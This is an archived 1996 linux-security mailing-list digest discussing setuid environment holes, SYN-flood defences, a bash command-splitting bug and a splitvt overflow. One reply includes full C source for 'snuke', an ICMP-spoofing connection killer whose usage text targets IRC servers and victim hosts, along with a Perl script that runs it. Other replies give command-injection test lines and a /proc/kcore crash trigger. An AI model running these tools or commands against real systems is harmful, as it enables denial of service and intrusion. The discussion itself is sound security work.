[linux-security] Re: RESOLV_HOST_CONF >>>>> "DB" == Daniel Bromberg writes: DB> On and on we go with little hacks to plug all these holes...It Ideally, the resolver library should be fixed. Doing this securely and retaining all of the original functionality will be tricky, and I'd rather leave it up to the library maintainers. Ultimately, this feature will probably either have to be limited (abandoned in the case of setuid programs) or dropped altogether: otherwise you end up with the library `fork'ing a process to read the specified file with the real user's privileges. DB> seems to be a step needs to be taken back so we can look at a DB> fundamental problem with *all* setuid programs: they blithely AFAIK, a POSIX.6 implementation for Linux is still being developed. This is the best solution, IMHO (and this situation is a good example of why POSIX.6 is a Good Thing). DB> take lots of environment variables from the user's environment DB> and just use them. But let's consider what setuid progams are Most people are aware that setuid programs should never trust environment variables. The aspect that makes this situation relatively unique is that the problem lies in the library using the environment, not the program itself: setuid programs should do something like `envp = 0;' as a cautionary measure. I agree that something has to be done to make privileged software easier to manage, but, until the POSIX.6 stuff is ready, I suppose we just keep patching.... - -- Joshua Cowan _____________________ http://hermit.reslife.okstate.edu/~jcowan/ | Comp Sci Student "Very funny, Scotty. Now beam down my clothes." | OSU - Stillwater, OK PGP key available from any PGP keyserver or by fingering above address. ------------------------------ From: Daniel Bromberg Date: Sun, 25 Aug 1996 17:46:05 PDT Subject: Re: [linux-security] Re: RESOLV_HOST_CONF > REW> I'd suggest either dropping priviliges before opening the file > REW> or simply refusing to use the environment variables when euid > REW> != uid (like the LD_LIBRARY_xx family). > > I've done this. The patch to ld.so 1.8.2 is included below; of course, > it won't help if your `ping', `traceroute', `rsh', etc., are statically > linked.... On and on we go with little hacks to plug all these holes...It seems to be a step needs to be taken back so we can look at a fundamental problem with *all* setuid programs: they blithely take lots of environment variables from the user's environment and just use them. But let's consider what setuid progams are really for: as a proxy for the system admin so users can perform certain tasks without having a privileged human sitting with them all the time. Thus we're on *root's* turf now. As a favor for the user. Thus we should have root's environment, or at least a highly limited, controlled environment. I propose a blanket solution: have the kernel manipulate the environment passed to the setuid program in a safe manner. Thus only pass through a few, if any, env variables to any setuid program, statically linked or not. (Off the top of my head, all I think one needs is USER, HOME, possibly HOSTALIASES). Given the splitvt type of attack, we'd also need to 'clean up' the ones we do pass through, by removing non-printable content and limiting the length. There is more configuration needed: so there could be some file like /etc/default/root.env which contains the environment that the sysadmin deems adequate for proper operation of all setuid programs. (like PATH, HOSTNAME, etc.) Such a file could also specify which user's env variables were safe to pass through. I know generally that "blanket" solutions are bad: they tend to cover up problems rather than addressing them, but it seems to me this is a good size blanket that addresses the general environment problem at the right place. Think of how many past, present, and future security problems this would solve! My point is: a user environment is totally untrustable, obviously. The general environment variable attack should be stopped at the source. I can't think of all the technical ramifications right now of my solution, and I have a nasty feeling there's a bunchy of stickly issues left, but I think it's worth looking into. [REW: The kernel is not equipped to mess with environment variables. The kernel can't really go about reading config files. Originally "environment variables" was a userlevel hack. I don't think that this is a good solution. It prohibits general solutions. You are correct in the "service to the user". The setuid programs should then take care not to trust the environment they run in too much. The problems start coming when the library starts doing that.] Mis dos centavos, Daniel Bromberg, Co-op [email protected] M/S 171-300 (818) 393-3872 Jet Propulsion Laboratory 4800 Oak Grove Dr. Pasadena, CA 91109 ------------------------------ From: Racer X Date: Sun, 25 Aug 1996 21:17:13 -0400 (EDT) Subject: Re: [linux-security] inetd and denial-of-service On Thu, 22 Aug 1996, infinity wrote: > | >From the sources I have seen for SYN-flooders, they generally forge the > | source address. One style is to generate random source addresses, the > > By very defintion of a SYN flood, the source address has to be > forged. No, it doesn't. Any hacker with any intelligence will forge it, but it doesn't HAVE to be forged. > | other is to take a user-specified address. A way around the first style > | is this: > > A randomly generated source address would be a horrible idea. You > have a better than even chance of generating one that is reachable. I'm not following you. First off, why would a randomly generated address be a horrible idea? Why any worse than (say) the IP for www.whitehouse.gov? And better than even? I don't think so. Not when you consider that class A nets 57-126 are all "reserved", as are a bunch of others. > | If the max number of connects per unit time is passed, stop the server > | for (say) 1 or 2 minutes. Then try to reverse DNS all those connects on > | that port. Any that can't be reversed should be immediately dropped. > > A host may have DNS entries and still be unreachable (and vice > versa). That's not my point. The point is, if they DO have DNS entries, they are much more likely to be legit than if they don't. Everyone, EVERYONE, should be running DNS and have reverse maps. We (and lots of other people) don't allow connects from hosts that can't be reversed. > | You could get around the second style by specifying a max number of > | connects to accept from any one site at a time. However, passing this > | limit would not shut down the server, it would just deny that site until > | it was back under limit. > > Bad idea. You cannot control any aspects of the Internet past yur > box (or boxes). Therefore, you cannot control which hosts will go > down. (Aside: I've thought about coding a SYN flooder that plays > two reachable hosts off each-other. It floods both, exactly at > the same time, each SYN-ladden packet purporting to come from the > other host on it's flooded port.) Again, I'm confused. I don't get the "which hosts will go down" part. On the attacker's end, or yours? > | The more I think about this though, the more it seems this would be > | better implemented in TCP wrappers (tcpd). It doesn't seem TOO difficult > | to do, although I'm not sure if you would have to do anything in kernel > > The best way to do this is in the kernel. Briefly: A list of > concurrent pending connection requests needs to be kept for > each TCP port that is listen()ing. When this number of > connection requests reachs n (n==backlog, or n==backlog-1) > it does a few other checks, like perhaps the time in which all > of these arrived (connections that arrive very close together > would be indicative of a SYN flood) and it waits a few seconds. > if the state does not proceed into SYN_SENT or CLOSED it frees > the associated memory and tears down all the connection requests. > The n value should be different for different ports. TCP/80 for > example, would see it being higher... Right, do it in the kernel and have something similar to ipfwadm to throb the settings for each port. The only problem is, according to Alan Cox: [me] > > same problem, but it hits inetd instead. My question is - can a > > connection that is in state SYN_RECV be arbitrarily terminated at any > > time, or does it have to wait for the timeout in the TCP code? [Alan] > It cannot be terminated for the TIME_WAIT period without the risk of data > corruption on other connections. So you are stuck with it for at least 2 > minutes (probably 4 to be right). BSD locks this to 75seconds + > TIME_WAIT which isnt a bad plan so long as you don't plan to operate > over amateur radio, into space and other unusual links I'm not clear on why you have to wait for the timeout. I will take his word for it tho, and see if I can find out exactly why. > 1) The Linux TCP kernel does not directly setup timers for connection > establishment or keepalive timeouts. > 2) The Linux TCP kernel counts retransmissions. > 3) It takes 15 retransmission before a pending connection request is > torn down. This is 1389 seconds, or 23 minutes... > > This is to say that a Linux box is painfully vulnerable to > SYN floods. There is a patch in the works... Could this have anything to do with the latest thread on "2.0.13 Sockets stuck in close"? It sounds similar. shag Judd Bourgeois | When we are planning for posterity, [email protected] | we ought to remember that virtue is Finger for PGP key | not hereditary. Thomas Paine ------------------------------ From: Jonathan Larmour Date: Sun, 25 Aug 1996 22:46:48 +0100 Subject: Re: [linux-security] bash security hole At 21:55 22/08/96 -0500, Runar Jensen wrote: >Someone mentioned that they were not able to reproduce the recent bash bug. >I tried the example mentioned in the alert with no luck, seemingly because >bash does not expand the '\377' construct. I then got a little creative and >tried the following: > >bash -c '`echo -e "ls\377who"`' > >This appeared to expand right, but would still only execute the 'ls'. For a [snip] Just to clarify this, the way I found that I _was_ vulnerable, was with this. NB copy the quoting exactly: bash -c "`/bin/echo 'ls -al\377who'`" However, note that the bit after the \377 is run the _next_ time you run the command, so you need to run it _twice_. Hopefully this will help people who incorrectly believe they are not vulnerable. Jonathan L. Origin UK, 323 Cambridge Science Park, Cambridge, England. CB4 4WG. Tel: +44 (1223) 423355 Fax: +44 (1223) 420724 E-mail: guess... - -------[ Do not think that every sad-eyed woman has loved and lost... ]------ - -----------------------[ she may have got him. -Anon ]----------------------- These opinions are all my own fault. ------------------------------ From: Zoltan Hidvegi Date: Mon, 26 Aug 1996 00:53:22 +0200 (MET DST) Subject: Re: [linux-security] bash security hole > Someone mentioned that they were not able to reproduce the recent bash bug. > I tried the example mentioned in the alert with no luck, seemingly because > bash does not expand the '\377' construct. I then got a little creative and > tried the following: > > bash -c '`echo -e "ls\377who"`' > > This appeared to expand right, but would still only execute the 'ls'. For a > moment I happily assumed that I wasn't vulnerable, but examining the source > showed that I *should* be, according to the alert. That test did not work because no expansion is performed on signle quoted text. Try bash -c "$(echo -e echo\\377who)". For some reason this worked only the second time I used it. When I do it from zsh using bash -c "$(echo echo\\0377who)" it always shows the bug. A sutable workaround is to get zsh-3.0.0 and link /bin/sh to zsh. Pdksh is an other alternative but it is less convinient for interactive use. Zoltan ------------------------------ From: thought Date: Sun, 25 Aug 1996 11:35:16 -0700 (PDT) Subject: Re: [linux-security] syn floods Kit Knox's thoughts were: | | Here is a script that I wrote to help combat syn floods. It requires the | use of snuke which spoofs ICMP_DEST_UNREACH in order to allow for the | fixing of syn floods on virtual interfaces and the such. | | (I apologize, its a perl script, but it works..) | If the IP addresses are forged (which they will be), this program will do no good... [REW: Moreover, it will bomb long-latency web browsers. time (seconds) 1 client -> server SYN 2 server -> client SYN ACK 3 client -> server ACK 4 client -> server "GET / HTTP/1.0\n\r\n\r" 5 server -> client " ,..." 6 client -> server ACK packet. 6.1 client -> server SYN (for img1) 6.2 client -> server SYN (for img2) 6.3 client -> server SYN (for img3) [ At this moment the script could trigger.] .... ] - -- [ [email protected] ] Editor, Phrack Magazine / Guild Corporation Chair the greatest trick the devil ever pulled was convincing the world he didn't exist ------------------------------ From: Stefan `Sec` Zehl Date: Sun, 25 Aug 1996 23:45:20 +0200 (MESZ) Subject: Re: System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) [email protected] wrote: > > [REW: Just some source browsing found: > /* > * The IMMUTABLE and APPEND_ONLY flags can only be changed by > * the super user when the security level is zero. > */ > so it should in principle be secure.] > > Optimist. > Root can do anything she wants, also change kernel memory. > Don't know what it is with linux, but in securelevel>0 /dev/kmem would not be writable not even by root ... [REW: Agreed. However, some more source browsing revealed that e2fs is the only read-access to the securelevel variable. In short securelevel support is being started, but ABSOLUTELY NOT FINISHED!] CU, Sec - -- Email: [email protected] WWW: http://www.blafasel.de/~sec/ Phone: 089/3618013 or 0177/2340515 IRC: Sec @ #blafasel FreeBSD RoX! ------------------------------ From: thought Date: Sun, 25 Aug 1996 11:12:39 -0700 (PDT) Subject: Re: [linux-security] syn floods Kit Knox's thoughts were: | I haven't seen cases of kernel crashes, just the listen() buffer is filled | up until the SYN's time out. I have. On 1.2.13 kernels (and prolly anything before-- dunno about 2.0.x) you can flood a host with 10 forged connection requests on every listening TCP port. This will in effect stop all TCP based network connectivity. The new issue of Phrack (due out by Monday) will have a complete discussion of this. | Here is a script that I wrote to help combat syn floods. It requires the | use of snuke which spoofs ICMP_DEST_UNREACH in order to allow for the | fixing of syn floods on virtual interfaces and the such. Hmmm... Interesting... - -- [ [email protected] ] Editor, Phrack Magazine / Guild Corporation Chair the greatest trick the devil ever pulled was convincing the world he didn't exist ------------------------------ From: Kit Knox Date: Sun, 25 Aug 1996 09:04:29 -0700 (PDT) Subject: Re: [linux-security] syn floods On Sat, 24 Aug 1996, thought wrote: > [REW: As far as I understand SYN floods, you simply send lots of "SYN" > packets. This either causes a kernel crash or a denial of service. I haven't seen cases of kernel crashes, just the listen() buffer is filled up until the SYN's time out. > Userspace is only informed when three packets have been transmitted Well, actually on most systems including linux, proc will give you info that there is a connect sitting in the SYN_RECV state. > back and forth. Thus the kernel would need to be modified to do something > about it.] Here is a script that I wrote to help combat syn floods. It requires the use of snuke which spoofs ICMP_DEST_UNREACH in order to allow for the fixing of syn floods on virtual interfaces and the such. (I apologize, its a perl script, but it works..) [REW: It doesn't work for the "malicious" syn floods that do "IP++" between every packet that they send. It also bombs your web clients that try to open several connections at once. (1 false negative, 1 false positive) It is a start though.] #!/usr/local/bin/perl while(1) { system("netstat -an | grep SYN_RECV > netstat.out"); open(f, "netstat.out"); while() { ($prot, $recvq, $sendq, $local, $foreign, $state) = split((' '),$_); ($lip, $lport) = split(/:/,$local); ($fip, $fport) = split(/:/,$foreign); $syns{$fip} += 1; } close(f); open(f, "netstat.out"); while() { ($prot, $recvq, $sendq, $local, $foreign, $state) = split((' '),$_); ($lip, $lport) = split(/:/,$local); ($fip, $fport) = split(/:/,$foreign); # We have a sinner - repent, repent! if ($syns{$fip} >= 3) { # Fun! Nuke their ass! $lporth = $lport + 1; $lportl = $lport - 1; print "Nuking: $fip $fport $lip $lporth $lportl 3\n"; system("snuke $fip $fport $lip $lporth $lportl 3 > /dev/null"); } } close(f); open(f, "netstat.out"); while() { ($prot, $recvq, $sendq, $local, $foreign, $state) = split((' '),$_); ($lip, $lport) = split(/:/,$local); ($fip, $fport) = split(/:/,$foreign); $syns{$fip} = 0; } close(f); sleep(20); } (begin snuke.c) #include #include #include #include #include #include #include #include static int thecode; u_short cksum( u_short *, int ); void sendkill( char *, int, char *, int ); u_short cksum( u_short *buf, int nwords ) { unsigned long sum; for ( sum = 0; nwords > 0; nwords -- ) sum += *buf++; sum = ( sum >> 16) + ( sum & 0xffff ); sum += ( sum >> 16 ); return ~sum ; } void resolve_address(struct sockaddr * addr, char *hostname, u_short port) { struct sockaddr_in *address; struct hostent *host; address = (struct sockaddr_in *)addr; (void) bzero( (char *)address, sizeof(struct sockaddr_in) ); /* fill in the easy fields */ address->sin_family = AF_INET; address->sin_port = htons(port); /* first, check if the address is an ip address */ address->sin_addr.s_addr = inet_addr(hostname); if ( (int)address->sin_addr.s_addr == -1) { /*it wasn't.. so we try it as a long host name */ host = gethostbyname(hostname); if (host) { /* wow. It's a host name.. set the fields */ /* ?? address->sin_family = host->h_addrtype; */ bcopy( host->h_addr, (char *)&address->sin_addr, host->h_length); } else { /* oops.. can't find it.. */ puts("Couldn't resolve address!!!"); exit(-1); } } /* all done. */ } #define PACKETSIZE ( sizeof( struct iphdr ) + sizeof( struct icmphdr ) + \ sizeof( struct iphdr ) + 8 ) #define ICMPSIZE ( sizeof( struct icmphdr ) + sizeof( struct iphdr ) + 8 ) #define offsetTCP ( sizeof( struct iphdr ) + sizeof( struct icmphdr ) + \ sizeof( struct iphdr ) ) #define offsetIP ( sizeof( struct iphdr ) + sizeof( struct icmphdr ) ) #define offsetICMP ( sizeof( struct iphdr ) ) #define offsetRIP ( 0 ) void sendkill( char * fromhost, int fromport, char * tohost, int toport ) { char * packet; static struct sockaddr_in local, remote; static int sock = 0; if ( !sock ) { resolve_address( (struct sockaddr *)&local, fromhost, fromport ); resolve_address( (struct sockaddr *)&remote, tohost, toport ); sock = socket( AF_INET, SOCK_RAW, 255 ); if ( sock == -1 ) { perror("Getting raw socket"); exit(-1); } } /* . Get memory for the packet */ packet = (char *)malloc( PACKETSIZE ); if ( !packet ) { perror("Getting space for packet"); exit(-1); } /* . Fill in our pretended TCP header . note - since this was allegedly an outgoing packet... we have to . flip the source and destination stuff */ { struct tcphdr * fake_tcp; fake_tcp = ( struct tcphdr *)( packet + offsetTCP ); fake_tcp->th_dport = htons(fromport); fake_tcp->th_sport = htons(toport); fake_tcp->th_seq = 0x1984; } /* . fill in the fake IP header. . the same reversal as above still applies.. the packet was sent to . our machine ( yeah right ) */ { struct iphdr * fake_ip; fake_ip = ( struct iphdr *) ( packet + offsetIP ); /* these fields are irrelevant -- never checked?? */ fake_ip->version = 4; fake_ip->tot_len = htons(0x2C); /* this was much longer.. once */ fake_ip->tos = 0; fake_ip->id = htons( getpid() & 255 ); fake_ip->frag_off = 0; fake_ip->ttl = 24; /* not so long to live anymore */ fake_ip->check = 3805; /* this CAN'T be checked..so do something != 0 */ /* these fields are used .. */ fake_ip->ihl = 5; bcopy( (char *)&local.sin_addr, &fake_ip->daddr, sizeof( fake_ip->daddr ) ); bcopy( (char *)&remote.sin_addr,&fake_ip->saddr, sizeof( fake_ip->saddr ) ); fake_ip->protocol = 6; /* a TCP packet */ } /* . fill in the ICMP header . this is actally rather trivial, though don't forget the checksum */ { struct icmphdr * icmp; icmp = ( struct icmphdr *)(packet + offsetICMP ); icmp->type = 3; icmp->code = thecode; /* this will generate an error message */ icmp->un.gateway = 0; icmp->checksum = 0; icmp->checksum = cksum( (u_short *)(icmp), ICMPSIZE >> 1 ); } /* . finally, fill in the IP header . this is almost the same as above.. though this time, it is the . ip header that really takes the packet places. make sure the . checksum and addresses are right */ { struct iphdr * real_ip; real_ip = ( struct iphdr *)packet; real_ip->version = 4; real_ip->ihl = 5; real_ip->tot_len = htons(PACKETSIZE); real_ip->tos = ( 7 << 5) | 4; real_ip->ttl = 255; real_ip->protocol = 1; real_ip->check = 0; real_ip->id = htons( 3 ); real_ip->frag_off = 0; bcopy( (char *)&local.sin_addr, &real_ip->saddr, sizeof( real_ip->saddr ) ); bcopy( (char *)&remote.sin_addr,&real_ip->daddr, sizeof( real_ip->daddr ) ); /* real_ip->saddr = htonl( ntohl(real_ip->daddr ) & 0xffffff00L ); */ real_ip->check = cksum( (u_short *)packet, sizeof( struct iphdr ) >> 1 ); } /* . . and now... finally... send it out into the net */ { int result; result = sendto( sock, packet, PACKETSIZE, 0, (struct sockaddr *)&remote, sizeof( remote ) ); if ( result != PACKETSIZE ) { perror("sending packet" ); } } } main( int argc, char ** argv ) { int i,codes ; if ( argc != 7 ) { puts("usage: \n\n#1: ATTACKING IRC SERVER\n source host = victim hostname\n source port = stats L\n target host = irc server\n target ports = IRC server port\ n Type = 3 or 2\n\n#2: ATTACKING VICTIM HOST\n source host = irc server\n source port = IRC server port\n target host = victim hostname\n target ports = stats L" ); exit(-1); } thecode = atoi(argv[6]); printf("using code %d \n", thecode ); if ( atoi(argv[5]) > atoi(argv[4]) ) { for ( i = atoi(argv[5]) ; i > atoi(argv[4]) ; i-- ) { printf("%d \n", i ); sendkill( argv[1], atoi(argv[2]), argv[3], i ); usleep(30000 ); } } else if ( atoi(argv[4]) > atoi(argv[5]) ) { for ( i = atoi(argv[5]) ; i < atoi(argv[4] ); i++ ) { printf("%d \n", i ); sendkill( argv[1], atoi(argv[2]), argv[3], i ); usleep(30000 ); } } else sendkill( argv[1], atoi(argv[2]), argv[3], i ); } ========================================================================= Kit Knox - - System Administrator CONNETnet INS, Inc. - 6370 Lusk Blvd Ste F#208 - San Diego, CA 92121 (619) 638-2020 - (619) 638-2024 Voicemail/Pager - (619) 450-3216 FAX ========================================================================= ------------------------------ End of linux-security-digest V2 #53 *********************************** linux-security-digest/v02.n054100664 1767 1767 46426 6210535015 15452 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #54 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Tuesday, 27 August 1996 Volume 02 : Number 054 [linux-security] pop3d minimal security bug Re: [linux-security] inetd and denial-of-service [linux-security] sendmail w/o suid root? [linux-security] SYN flooding (was inetd and denial-of-service) Re: [linux-security] vulnerability in splitvt Re: [linux-security] RESOLV_HOST_CONF Re: [linux-security] Re: RESOLV_HOST_CONF Re: [linux-security] inetd and denial-of-service Kevin Littlejohn: Re: [linux-security] Re: RESOLV_HOST_CONF Re: [linux-security] Re: RESOLV_HOST_CONF Re: [linux-security] vulnerability in splitvt Re: [linux-security] vulnerability in splitvt [linux-security] RE: Little exploit in syslogd... ---------------------------------------------------------------------- From: tHe CyberCOWz Date: Sun, 25 Aug 1996 17:55:31 +0100 (GMT+0100) Subject: [linux-security] pop3d minimal security bug Hello! popd coming in all the linux distribution, in general, any pop coming with the MBOX ... command, contain a minimal unsecurity! A privileged user like root can read the mailbox of another user simple by typing: USER root PASS ******* MBOX /var/spool/mail/ the major focus is for the server having only mailbox account. Suppose someone stole the root's password, even without login shell he can read any user's mailbox, from the net. [REW: Or normal users having just an pop account could read (parts of) publicly readable files. -- Just a little surprise to keep in mind if you ever need an airtight setup....] Ciao! ------------------------------ From: "Paul D. Robertson" Date: Sun, 25 Aug 1996 08:41:47 -0400 (EDT) Subject: Re: [linux-security] inetd and denial-of-service On Thu, 22 Aug 1996, infinity wrote: > By very defintion of a SYN flood, the source address has to be > forged. This is simply not true. There is a particular combination of the SuperTCP PC stack and Netscape browser, for instance, that will, given the correct versions, SYN flood the hell out of your web server. In a malicious attack it would be stupid to SYN flood from your correct IP address, but it is certainly possible. Paul - ----------------------------------------------------------------------------- Paul D. Robertson "My statements in this message are personal opinions [email protected] which may have no basis whatsoever in fact." PSB#9280 ------------------------------ From: Roscinante Date: Mon, 26 Aug 1996 12:32:32 -0400 (EDT) Subject: [linux-security] sendmail w/o suid root? I've been looking for info on a couple of things, which I haven't found: How to config sendmail so suid root isn't needed (will it run correctly if it's suid mail/sgid mail or bin?) And, how to configure inetd daemons as non-root? Are there any that MUST be suid root?? Any info 'preciated :) [REW: I doubt that you can configure sendmail to not need root. Telnet uses login to change the uid, so it needs the suid bit on login or it needs to be run as root itself. Suff like rshd, ftpd, rshd, rlogind, popd, will need to change the uid to the final user. They need root for that. I think finger should be run as nobody. I think imap is similar to popd. I think this covers just about all the services in MY inetd.conf, so there is very little room for improvement.] ~~ All that is gold does not glitter.. . Not all those who wander are lost..J.R.R.T. . /\ . ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ._____// \\_____. And the knowledge that they fear . \\ Rush // . is a weapon to be held against them.. N.P. . \\ 2112 // . ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ . // /\ \\ . Ghost in the Machine ([email protected]) I[[[[[[[[]]]]]]]]I Roscinante ([email protected]) http://www.globalent.net/users/fbn ------------------------------ From: thought Date: Sun, 25 Aug 1996 11:07:45 -0700 (PDT) Subject: [linux-security] SYN flooding (was inetd and denial-of-service) Ralph the Wonder Llama's thoughts were: | > By very defintion of a SYN flood, the source address has to be | > forged. | | No offense, but dont you think that the definition of a syn flood is a | flood of syn packets? whocares if the source address is real. Although, | the only practical use of a syn flooder is one where the address is | forged :) True. I should have clarified that the only useful way to SYN flood a host's TCP is with forged source IP addresses. (Assuming you can find a purpose in which SYN flooding is usefull...;)) | why do I like the idea of a random address? It would be cool go get | flooded by 123.234.345.456 :) Yes but if it just drawn from a hat the host *could* be reachable. Besides, `123.234.345.456` will fail when you try to convert it into network-byte order...;) [REW: Most implementations will silently drop the higher bits in the 4 bytes of an IP address. 123.234.89.200 might just be valid.] | How does this meet his point. He is saying to hack up an inetd that if it | receives many tries from an given host or network, to turn on a filter | that disallows any incoming syn requests from being accepted, thus | denying this host/network but allowing other hosts/networks to function. | However, all this would do is cause the evil haxorer to need to change | the source address of his flood routine, but hey, its a start... Remember that the inetd (and TCPd) filters work after the completion of the 3-way handshake. SYN flooding only satisfies the first part of the 3-way handshake. I can deny TCP/23 with TCPd from all but trusted IP addresses. It can still be SYN flooded however. | > | > The best way to do this is in the kernel. Briefly: A list of | | Faster in the kernel perhaps. Better? I dont know. I'd rather have my | kernel pass the packets to the application and have the application | decide how to work (the application in question would be something like | xinetd or tcp wrappers). Doing all this trickery in the kernel sounds See above. | dangerous, ie, memory problems (buffer exhaustion, and/or possible buffer | attacks) since the packets have to spend more time and be stored in the | memory, and perhaps even be stored in parts of memory that would be | trusted (like I said, possible buffer attack). This is a moot point. If it is coded well, this is not a problem. - -- [ [email protected] ] Editor, Phrack Magazine / Guild Corporation Chair the greatest trick the devil ever pulled was convincing the world he didn't exist ------------------------------ From: David Holland Date: Mon, 26 Aug 1996 15:31:43 -0400 (EDT) Subject: Re: [linux-security] vulnerability in splitvt > This may or may not have been reported already. I only > found out about this list _after_ I had been hacked :< This is old - and I think an announcement of this bug was even posted to comp.os.linux.announce. The exploit's called "eggplant", and while I don't have a copy handy I'm sure half a dozen people will mail it to you. Basically it writes past the end of a buffer on the stack in splitvt; this corrupts a function return address and lets the included code (which is what's used to fill up the buffer) execute. That code does, more or less, setuid(0); execl("/bin/sh", "/bin/sh", NULL). - -- - David A. Holland | Number of words in the English language that [email protected] | exist because of typos or misreadings: 381 ------------------------------ From: [email protected] (Alan Cox) Date: Mon, 26 Aug 1996 19:46:31 +0100 (BST) Subject: Re: [linux-security] RESOLV_HOST_CONF > # export RESOLV_HOST_CONF=/proc/kcore > # ping life is a challage hack it up > > which is known to make a machine go boom. Can't duplicate. > Real Patch isn't really available yet, from what i can see. You can modify > the souce to the resolv+ library and make it setuid(getuid()) first, but > that would break if /etc/resolv.conf wasn't working right, or you could > simply remove the RESOLV_HOST_CONF variable completely. Inadequate. The trim bug is just as bad news. > are affected include Slackware 2.0, 2.1, 3.0, 3.1, Redhat 2.0 and 3.0.3 > picasso. Are you sure about RedHat. Its linked with NYS, which is a bit different to generic libc5. > linked. The version in the shared library is being called. Slackware 3.0 > uses libc.so.5.0.9, while picasso has libc.so.5.2.18 . Is this the > significant difference?] 5.2.18 has a different but closely related set of holes. ------------------------------ From: David Holland Date: Mon, 26 Aug 1996 16:07:18 -0400 (EDT) Subject: Re: [linux-security] Re: RESOLV_HOST_CONF > DB> seems to be a step needs to be taken back so we can look at a > DB> fundamental problem with *all* setuid programs: they blithely > > AFAIK, a POSIX.6 implementation for Linux is still being developed. > This is the best solution, IMHO (and this situation is a good example of > why POSIX.6 is a Good Thing). POSIX.6 wouldn't do a damn thing for this situation. Sure, ping wouldn't have privilege to read the file. Guess what? Sendmail does. All it would do is make it take longer for the problem to be detected. I don't really want to restart this flamewar (see the kernel list archives from January), but there is not a silver bullet for security, and even if there were, the POSIX.6 design wouldn't be it. [REW: I would give sendmail the "access to write mailboxes", "permission to bind to priviliged ports" and "right to execute programs as another uid". Does it need more? Agreed, it might be harder to actually find the bugs if almost all are rendered invulnerable through other means.] - -- - David A. Holland | Number of words in the English language that [email protected] | exist because of typos or misreadings: 381 ------------------------------ From: Brian Mitchell Date: Mon, 26 Aug 1996 16:55:00 -0400 (EDT) Subject: Re: [linux-security] inetd and denial-of-service On Sun, 25 Aug 1996, Racer X wrote: > On Thu, 22 Aug 1996, infinity wrote: > > > | >From the sources I have seen for SYN-flooders, they generally forge the > > | source address. One style is to generate random source addresses, the > > > > By very defintion of a SYN flood, the source address has to be > > forged. > > No, it doesn't. Any hacker with any intelligence will forge it, but it > doesn't HAVE to be forged. if it is not forged, it will not have the disired effect of locking the victim up. You will get into a syn/syn|ack/rst flood, which when completed will leave the victim perfectly normal. > > > | other is to take a user-specified address. A way around the first style > > | is this: > > > > A randomly generated source address would be a horrible idea. You > > have a better than even chance of generating one that is reachable. > > I'm not following you. First off, why would a randomly generated address > be a horrible idea? Why any worse than (say) the IP for > www.whitehouse.gov? And better than even? I don't think so. Not when > you consider that class A nets 57-126 are all "reserved", as are a bunch > of others. They would not use www.whitehouse.gov, because those syn packets would be reset. > > > | If the max number of connects per unit time is passed, stop the server > > | for (say) 1 or 2 minutes. Then try to reverse DNS all those connects on > > | that port. Any that can't be reversed should be immediately dropped. > > > > A host may have DNS entries and still be unreachable (and vice > > versa). > > That's not my point. The point is, if they DO have DNS entries, they are > much more likely to be legit than if they don't. Everyone, EVERYONE, > should be running DNS and have reverse maps. We (and lots of other > people) don't allow connects from hosts that can't be reversed. If they forge the ip of a host with reverse dns, but not up - what have you done? Absolutely nothing. [REW: Moreover you can expect to have to wait for up to 60 seconds for a reverse DNS lookup to work.... Some don't really understand networking it seems. I once found a site that had 65000 namserver entries. And only a few tens of them were up-and-reachable. It seems they put all IP numbers in the nameserver so that they wouldn't have to modify the nameserver if they assign an IP number to a computer. Neat eh?] Brian Mitchell [email protected] "I never give them hell. I just tell the truth and they think it's hell" - - H. Truman ------------------------------ From: Daniel Bromberg Date: Mon, 26 Aug 1996 18:35:23 PDT Subject: Kevin Littlejohn: Re: [linux-security] Re: RESOLV_HOST_CONF - ------- Forwarded Message Received: (from darius@localhost) by vector.wantree.com.au (8.7.5/8.6.9) id JAA32291 for [email protected]; Tue, 27 Aug 1996 09:12:36 +0800 From: Kevin Littlejohn Message-Id: <[email protected]> Subject: Re: [linux-security] Re: RESOLV_HOST_CONF To: [email protected] (Daniel Bromberg) Date: Tue, 27 Aug 1996 09:12:36 +0800 (WST) In-Reply-To: <[email protected]> from "Daniel Bromberg" at Aug 25, 96 05:46:05 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Just a quick query: after panicking slightly yesterday, I sat down and had a trawl through source code.... Seems the problem exists in libc, in, ummm... inet/gethstnmad.c, a big section that looks for environment variables and overrides the defaults if they exist. Would it make sense to simply comment this whole section out? Surely, there should be no real need (in any average configuration) to allow people to change the location of configuration files, etc.? If that's so, then I'm in a position of getting this libc code to compile *sigh* If that's not so, could someone point out why before I do irreperable harm to my system? :) KevinL [REW: Why not make it conditional on (getuid () == geteuid ()) ? This is what I'd consider a valid fix.] - ------- End of Forwarded Message ------------------------------ From: Keith Owens Date: Tue, 27 Aug 1996 10:58:31 +1000 (EST) Subject: Re: [linux-security] Re: RESOLV_HOST_CONF On Sun, 25 Aug 1996, Daniel Bromberg wrote: > I propose a blanket solution: have the kernel manipulate the > environment passed to the setuid program in a safe manner. [snip] > > [REW: The kernel is not equipped to mess with environment variables. > The kernel can't really go about reading config files. > Originally "environment variables" was a userlevel hack. I don't think > that this is a good solution. It prohibits general solutions. How about the best of both worlds. kernel detects suid/sgid programs and, instead of running them directly, starts a trusted wrapper program. The wrapper reads its configuration files (not the kernel), decides if the user can run the program, changes environment, selects libraries, logs the use etc. then finally runs the target program. The equivalent of TCP wrappers for sensitive binaries. [REW: You don't need the kernel to detect this. If you want this behaviour, you can remove all the s-bits on your system and instead install a wrapper in their place(*). It can then do all the things you want before executing the original program...... This is then again a setuid program which nees to be reasonably secure..... (*) chmod -s sendmail; mv sendmail sendmail.orig; ln -s wrapper sendmail] ------------------------------ From: Rob Hagopian Date: Mon, 26 Aug 1996 20:19:14 -0400 Subject: Re: [linux-security] vulnerability in splitvt >There is a vulnerability in the program splitvt that bundles >with linux slackware that allows any account on the system >that can access a c compiler, get root. >From the man page: splitvt can be made set-uid root. splitvt will reset its user id to that of the person running it, just before it exec()'s the shell under the window. The splitvt process remains with root permissions, and will change ownership of the pseudo terminals to that of the person running splitvt, and then reset it to root when the window is closed. SPLITVT IS NOT GUARANTEED TO BE A SAFE SET-UID PROGRAM! I have done all I know to keep splitvt a safely usable set-uid program, but I do not 